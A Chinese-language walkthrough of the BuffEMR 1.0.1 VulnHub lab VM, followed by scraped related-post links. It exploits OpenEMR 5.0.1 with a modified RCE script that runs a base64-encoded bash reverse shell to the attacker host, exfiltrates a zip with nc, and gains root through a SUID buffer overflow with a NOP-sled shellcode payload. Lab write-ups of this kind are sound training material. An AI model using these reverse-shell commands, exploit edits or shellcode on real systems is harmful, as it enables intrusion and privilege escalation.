vulnhub靶场之BUFFEMR: 1.0.1
准备:
攻击机:虚拟机kali、本机win10。
靶机:BUFFEMR: 1.0.1,下载地址:https://download.vulnhub.com/buffemr/BuffEMR-v1.0.1.ova,下载后直接vbox打开即可。
知识点:openemr框架漏洞、源码敏感信息泄露、缓冲区溢出漏洞提权、gdb调试的使用。

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.20.10.0/24,获得靶机地址:172.20.10.5。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.5,显示开放了21、22、80端口,开启了ftp服务、ssh服务、http服务。

FTP服务收集源码信息:
匿名登录ftp服务发现存在一个share文件夹,文件夹中包含了openemr文件家,openemr文件下是项目的源码信息。

将整个项目下载下来,命令:wget -r -np -nH ftp://172.20.10.5/share/openemr/。

在源码中查找信息,经过一番查找之后在tests文件夹的test.accounts文件中获得一个测试账户信息:admin/Monster123。

WEB服务:
访问80服务显示是一个默认页面,没什么信息,尝试访问下/openemr目录,命令:http://172.20.10.5/openemr,成功进入到登录页面。

使用获得账户信息:admin/Monster123进行登录,成功登录到系统。

使用searchsploit搜索下openemr框架的漏洞信息,发现openemr框架的漏洞基本和框架的版本信息有关,那就在web界面找下框架的版本信息,发现是:v5.0.1 (3)。


那就使用searchsploit搜索下openemr框架v5.0.1 (3)的漏洞信息,发现以下漏洞。

漏洞获取shell:
利用php/webapps/45161.py脚本获取shell权限,但是此脚本存在一点问题需要进行修改,修改前后如下

#下面是修改前的
_cmd = "|| echo " + base64.b64encode(args.cmd) + "|base64 -d|bash"
#下面是修改后的
_cmd = "|| echo " + 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy82Njg4IDA+JjE=' + "|base64 -d|bash"
中间的加密的字符是自己对反弹shell的语句进行的base64.b64encode()加密,加密脚本如下
import base64
str = 'bash -i >& /dev/tcp/172.20.10.7/6688 0>&1'
mystr = bytes(str,encoding="utf-8")
print(base64.b64encode(mystr))

执行45161.py脚本成功获取到shell权限,命令:python 45161.py http://172.20.10.5/openemr -u admin -p Monster123 -c 'bash -i >& /dev/tcp/172.20.10.7/6688 0>&1',这里后面的命令是不起作用的,因为在代码里写死了。或者将语句修改将加密后的bytes转换成字符串放到语句中,这样的话-c的命令就可以起作用。

提权-buffemr权限:
在var目录下发现一个user.zip文件,将该文件下载下来:
#kali
nc -nlvp 8888 > user.zip
#靶机shell
nc 172.20.10.7 8888 < user.zip

但是在解压user.zip文件的时需要密码,尝试使用john、fcrackzip进行爆破,但是均失败,后来在ftp服务中发现的openemr里发现了一组信息,该信息在openemr\sql目录下的keys.sql文件中,信息为:INSERT into ENCKEY (id, name, enckey) VALUES (1, "pdfkey", "c2FuM25jcnlwdDNkCg==");

尝试使用获得c2FuM25jcnlwdDNkCg==进行解密,解密成功,获得user.lst文件,文件信息是一组账户信息:buffemr/Iamgr00t。

使用获得账户信息:buffemr/Iamgr00t切换到buffemr账户权限,但是显示:must be run from a terminal,那我们就直接使用ssh连接,命令:ssh buffemr@172.20.10.5,成功获得buffemr账户权限。

获得buffemr权限后在/home/buffemr目录下发现user_flag.txt文件,读取该文件成功获取到flag值。

提权-root权限-缓冲区溢出提权:
通过:find / -perm -4000 -type f 2>/dev/null,来查找可疑文件,发现dontexecute文件。

查看dontexecute文件,发现其存在一个未进行限制的strcpy函数,那么这可能就存在内存溢出漏洞。

我们先查看下ASLR(地址随机化,一种缓冲区溢出的安全保护技术)是否被禁止,命令:cat /proc/sys/kernel/randomize_va_space,发现已被禁止。

使用gdb进行调试程序,命令:gdb -q dontexecute。

然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000。

将生成的字符串用命令 r 在 gdb 中运行,如下,程序报错,显示在这个地址出现错误:0x31724130。

计算下此地址:0x31724130的偏移量,命令:./pattern_offset.rb -q 0x31724130,得到其偏移量为512。

在网上找了一个shell:\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh,共53个字节,因此需要从512-53=459的地方开始执行我们的命令,因此payload:$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')。
#shell
\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
#payload
$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')
退出gdb模式,使用dontexecute文件来执行我们的payload,命令:./dontexecute payload,成功获得root权限。

获得root权限后在/root目录下发现Root_flag.txt文件,读取该文件成功获得flag值。

vulnhub靶场之BUFFEMR: 1.0.1的更多相关文章
- vulnhub靶场之JANGOW: 1.0.1
准备: 攻击机:虚拟机kali.本机win10. 靶机:JANGOW: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/jangow/jango ...
- 【Vulnhub靶场】JANGOW: 1.0.1
时隔这么久,终于开始做题了 环境准备 下载靶机,导入到virtualBox里面,这应该不用教了吧 开机可以看到,他已经给出了靶机的IP地址,就不用我们自己去探测了 攻击机IP地址为:192.168.2 ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
- vulnhub靶场之DRIPPING BLUES: 1
准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...
随机推荐
- DevOps|高效能敏捷交付组织:特性团队(FeatureTeam)+Scrum
这是<研发效能组织能力建设>的第三篇.特性团队和Scrum,这两个定义我们在之前的文章中都详细介绍了.这两个组织模式或者说管理实践,我都用过所以有些时候特别有感触.书本上纯粹的模式很容易理 ...
- js红宝书学习笔记(一)引用类型
一.引用类型 ECMAScript中,引用类型是一种数据结构称之为对象定义,,引用对象不同于传统面向对象语言所支持的类和接口等基本结构 创建Object 实例的两种方式: new操作符跟Object构 ...
- java集合框架复习----(2)List
文章目录 三.List集合 listIterator:迭代器 List实现类 1.泛型类 2.泛型接口 三.List集合 特点 有序,打印输出的顺序和添加时的顺序一致(不会帮你自动排序) 有下标,可以 ...
- Vue学习之--------事件的基本使用、事件修饰符、键盘事件(2022/7/7)
文章目录 1.事件处理 1.1. 事件的基本使用 1.1.1 .基础知识 1.1.2. 代码实例 1.1.3.测试效果 1.2.事件修饰符 1.2.1. 基础知识 1.2.2 .代码实例 1.2.3 ...
- ssh登录提示hosts is down
其他无用的网卡配置信息mv走重启network如果还是不行重启一下服务器问题就能解决
- Python处理刚刚,分钟,小时,天前等时间
简介 用爬虫获取目标网站数据后可能会遇见时间为处理刚刚,分钟,小时,天前等时间格式,如图 解决问题: 写了一个工具类来处理该问题,其中封装了两个函数 1. 将时间中的中文数字转换成阿拉伯数字 def ...
- .net 温故知新:【8】.NET 中的配置从xml转向json
一.配置概述 在.net framework平台中我们常见的也是最熟悉的就是.config文件作为配置,控制台桌面程序是App.config,Web就是web.config,里面的配置格式为xml格式 ...
- KeeWiDB的高性能修炼之路:架构篇
数据也有冷热之分,你知道吗? 根据访问的频率的高低可将数据分为热数据和冷数据,访问频率高的则为热数据,低为冷数据.如果热.冷数据不区分,一并存储,显然不科学.将冷数据也存储在昂贵的内存中,那么你想,成 ...
- 【云原生 · Kubernetes】部署高可用kube-scheduler集群
个人名片: 因为云计算成为了监控工程师 个人博客:念舒_C.ying CSDN主页️:念舒_C.ying 部署高可用kube-scheduler集群 13.1 创建 kube-scheduler 证 ...
- ATM分析
# 查看余额功能 1.第一层直接调用查看余额的接口(传当前登录用户名) 2.第二层直接调用第三层数据查询的接口 3.第二层从用户字典中提取出用户余额返回给第一层展示 # 账户提现功能 1.第一层获取用 ...